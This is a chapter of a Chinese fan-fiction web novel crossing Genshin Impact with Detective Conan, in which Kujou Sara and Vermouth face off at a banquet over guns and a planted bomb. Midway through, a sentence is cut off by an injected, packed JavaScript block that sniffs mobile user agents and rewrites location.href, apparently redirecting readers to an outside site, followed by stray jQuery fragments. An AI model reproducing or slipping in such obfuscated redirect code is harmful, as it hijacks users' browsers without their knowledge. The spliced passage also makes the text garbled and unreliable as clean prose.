14.宴会上的暗流涌动(2)

作品:《性转设定真的合理吗[综原神]

    宴会二楼的某个房间。


    这个房间的布局极为独特,仿佛经过精心设计,呈现出一种完全对称的状态。


    无论是从最中间的桌子,还是从对立的沙发,乃至于每一件装饰品,全部都经过严格考量,而对称的布局使得房间内的空间感更加鲜明。


    九条裟罗在看到这一幕的瞬间,就明白了贝尔摩德的意思。


    毫无疑问,当前的情形无疑是为双方的对峙,制造了最为合适的场面。


    不过在这个紧张而又微妙的时刻,贝尔摩德却给了他一种相对平等的待遇——参考他的意见与同意交谈,这在常理中是颇为罕见的。


    毕竟在这种情况下,他现在的身份“九条裟罗”,实际上并不具备与贝尔摩德平等对话的资格,没有被她一枪打死都是运气好。


    因此,他能与其如此轻松地交谈,确实要归功于他在「雷电影」这个马甲下的不懈努力。


    ——贝尔摩德相信九条裟罗与雷电影有着某种程度的相识,甚至有可能认为他们就是同一人。


    这样的猜测在裟罗心中掠过,他却没有表露出丝毫的迟疑。他的脚步轻盈而坚定,顺势在另一个沙发上坐下,与仍然保持着伪装的贝尔摩德面对面,各占据一方,形成了一种微妙的平衡。


    “女士,让我们开始吧?”


    裟罗翘起二郎腿,摆出了一副主人的姿态。


    这种对峙并非简单的力量对抗,而是双方心理和智慧的较量。在这个关键时刻,任何的犹豫和退缩都可能导致局势的逆转。


    如果他没有猜错,这个房间的布局应该是贝尔摩德故意的。她想要展现自己对这个建筑的了解,明里暗里地压他一头,就像刚刚主动带路一样。


    所以说,这其实不是什么平等,而是压迫、是割裂。


    要是先入为主,只看出贝尔摩德浅层意思就完蛋了。


    可这跟他九条裟罗有什么关系?


    他不吃这招。


    贝尔摩德微笑,她不能确定裟罗到底是没看出来她的意思,还是假装不知道,不动声色地打量着对方:“当然。”


    笑死,那诡异的熟悉感又出现了。


    考虑到自身情况,再加上其他的一些“例子”,贝尔摩德心里多多少少已经有数了,只不过是需要一些验证。


    就比如说,将雷电影脸上的伪装“洗去”。


    思绪万千,贝尔摩德的目光落在了裟罗的脸上。


    毕竟雷电影不能以自己的模样出现,肯定是做了伪装的。


    有意思,看得出来对方的技术很精湛了,她都有些看不出来瑕疵。


    然后,贝尔摩德就看到裟罗在注意到她的目光后,淡定地解开了领口的扣子,露出白皙光滑的脖颈。


    ……光滑?


    难道不是雷电影?!


    不不不不,不可能。


    虽然为了不被看出来,故意将性子弄得跟先前全然不同,但是这也是败笔之一,对于她这样的熟人来说,反而有一种很刻意的感觉。


    按照这个思维,裟罗应该是用了到肩膀的人皮面具一类的东西——


    裟罗笑道:“需要我脱下上半身的衣服吗?”


    贝尔摩德:“……”


    尽管裟罗很坦然,可他几乎仅仅只靠她的几个眼神,就看出了她的想法。


    就这种熟悉程度,要说他们不认识都很怪吧?要让她怎么能不认为对方就是雷电影?


    啧,都脱离组织了,乖乖当缩头乌龟,别给她添麻烦啊!


    “好吧好吧,真拿你没办法啊。”裟罗叹气,看上去是愿意配合稳固自己的新马甲了。


    可对上贝尔摩德饶有兴致的眼眸,他嘴角一勾,耸肩道:“你不会以为我会这么说然后脱衣服吧?”


    贝尔摩德:这个臭小子!


    裟罗:诶嘿~皮这一下很开心!


    贝尔摩德冷哼一声,从怀中摸出一把枪:“你不敢?莫不是真是Arran?


    那可不行那可不行,组织里逃出来的老鼠,得让琴酒解决掉才行啊。”


    为什么是琴酒?


    望着那黑漆漆的洞口,裟罗却是第一时间注意到了,那个不在现场的人的名字。


    贝尔摩德笑了:“今天,送我过来的人是琴酒。”


    换言之,实际上琴酒也是知道她要做什么的人。


    更别提她现在这张脸,如果真的有什么的话,就意味着琴酒的任务失败了。面对这种情况,琴酒绝对会想着斩草除根的。


    而且他是宁可错杀,也绝不放过的性子。


    运气不好的话,整个会场的人都得死。


    等等?


    贝尔摩德脑海中浮现出几张人脸。


    裟罗:……


    明目张胆的威胁啊,意思是一旦他不听话,就让琴酒炸了这里吗?


    不可能,琴酒不会听话的,除非——


    “你,一早就安排了炸弹啊。”


    裟罗脸上的笑容如同冬日残阳,转瞬即逝,原本微微上扬的嘴角在这一刻急剧落下,他的眼神变得锐利而冷漠,声音中带着一股难以掩饰的冰冷,语气坚定地说着。


    而且那个远程控制的按钮,很有可能就在琴酒手中!


    事情麻烦了啊,虽然他对此并不意外,也早就料到贝尔摩德可能会做的事了,但是把琴酒也牵扯进来的话,那就确实麻烦了啊。


    贝尔摩德面不改色:“一点点必要的措施罢了。”


    假的。


    如果只是必要的措施,那么她不会让琴酒帮忙。


    裟罗不由得眯眼,他想他已经知道答案了。


    是因为之前「雷电影」的实力太强了吗?


    导致贝尔摩德都有些忌惮了啊……


    贝尔摩德嘴角勾起一丝冷笑,语带讽刺地说:“别忘了,你也没资格指责我,你手上的那些有头有脸的人质,难道不是同样无辜吗?没想到你们这种自诩正义的伙伴,也会这么做?


    毕竟……如果这里真的被引爆了,那些掌控着我国商界命脉的大佬们,岂不是会一次性全部消失?这样的后果,对我们来说也是一种不小的麻烦和困扰啊~”


    当然不仅仅是困扰,还会成为大问题。


    或许很多人认为社会混乱对组织是一件好事,可是又有谁还记得,组织的存在也不过才半个世纪多呢?


    而这个会场中出现的大人物的集团,又有哪个不是呢?


    其中有几个,甚至比组织转到暗处前存在的时间更久。


    他们将这些人作为人质的同时,也被雷电影拿捏住了。


    “哇——我还真以为你们会完全不管不顾?”裟罗挑眉,故意装作松了一口气的样子。


    本来他是那么想的,可是特产一出手就知有没有,鬼知道贝尔摩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773299|172622||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    德那么谨慎。


    不对,是因为知道了前世贝尔摩德的立场,处在较为灰色的地带,展现出来的大部分都不是纯黑,所以才疏忽了吗?


    啧,刻板印象。


    贝尔摩德没有回答,只是默默地给枪上了膛:“行了我亲爱的小朋友,寒暄到此为止。”


    “回答我的问题,你跟「雷电影」是什么关系?”她歪头,那张脸很帅气,视线却很冷。


    裟罗猛地侧头:“哇——就不能装作什么都不知道吗——”


    就在刚刚,贝尔摩德在下达最终预告,却没有得到想要的回答后,毫不犹豫就朝着裟罗的大脑开枪了。


    枪上有消音器,两人此时还在非常隔音的房间中,贝尔摩德是一点都不怕有人被吸引过来。


    “嘶,真疼啊?”裟罗摸摸被子弹划伤的脸,那伤口皮开肉绽,鲜红的血液在重力的作用下缓缓流下。


    毫无疑问,他没有佩戴人皮面具。


    贝尔摩德:“……”


    她当然发现了裟罗故意放慢了一点速度,在自己的脸上留下了伤口。


    至于目的,已经显而易见了。


    可是不对劲啊?


    九条裟罗怎么可能不是雷电影?!


    等等?如果当初吃下药的人不是雷电影呢?


    毕竟时间紧任务急,琴酒完全是匆匆忙忙过去的,就连那人的死都没能确定。


    而且,雷电影跟警局的联系人,可从来没有暴露出来啊!


    无数的思绪在脑内翻腾,贝尔摩德在心中建立了许许多多的猜测。


    裟罗摊手:“嗯,这样也算是展现诚意了吧?让我们好好谈谈吧,顺便一提你不用卸下伪装哦~”


    他比谁都明白组织的戒心,也懂得展示所谓的“诚意”。


    只不过现在的裟罗忘记了自己的身份,他是[叛徒],是组织中的老鼠啊——!


    “哈,那么再多问一句吧。那个联系方式,只有你知道吧?”贝尔摩德撩起刘海。


    随即她当着裟罗的面,将那质量不是很好的美瞳给摘了下来。整个过程似乎完全不在意,裟罗可能会趁着这时候对她动手的样子。


    裟罗摸着下巴思考道:“按照我的渠道的话,只有我一个人吧。”


    是的,包括雷电影和大号九条裟罗在内。


    在仔细聆听完所有的贝尔摩德终于长舒了一口气,她似乎卸下了心中的重担,嘴角随即挂上了一丝嘲讽的笑意:“呼~真难得,没想到琴酒居然被摆了一道啊?”


    她轻轻摇了摇头,眼神中流露出一种漫不经心的神情,仿佛刚刚的一切都无关紧要:“不过说到底,现在这一切都不重要了。”


    贝尔摩德的语气中透露着一种冷静与超然,仿佛已经将所有的喜怒哀乐都抛诸脑后。


    因为于她而言,无论情况到底如何,雷电影没有死这件事在她这里,都已经是板上钉钉的事儿了。


    ——那么她要做的事情,也很显而易见了。


    证据?


    那是警察和侦探才需要的东西,更别说还是对付一个已经被确定了的叛徒,那种东西他们可不需要!


    总之杀就是了,要是错杀?


    那可真是倒霉啊。


    贝尔摩德莞尔一笑,手下却是又接连两枪。


    她已经没有得到回答的想法了,总归裟罗死了,一切就结束了。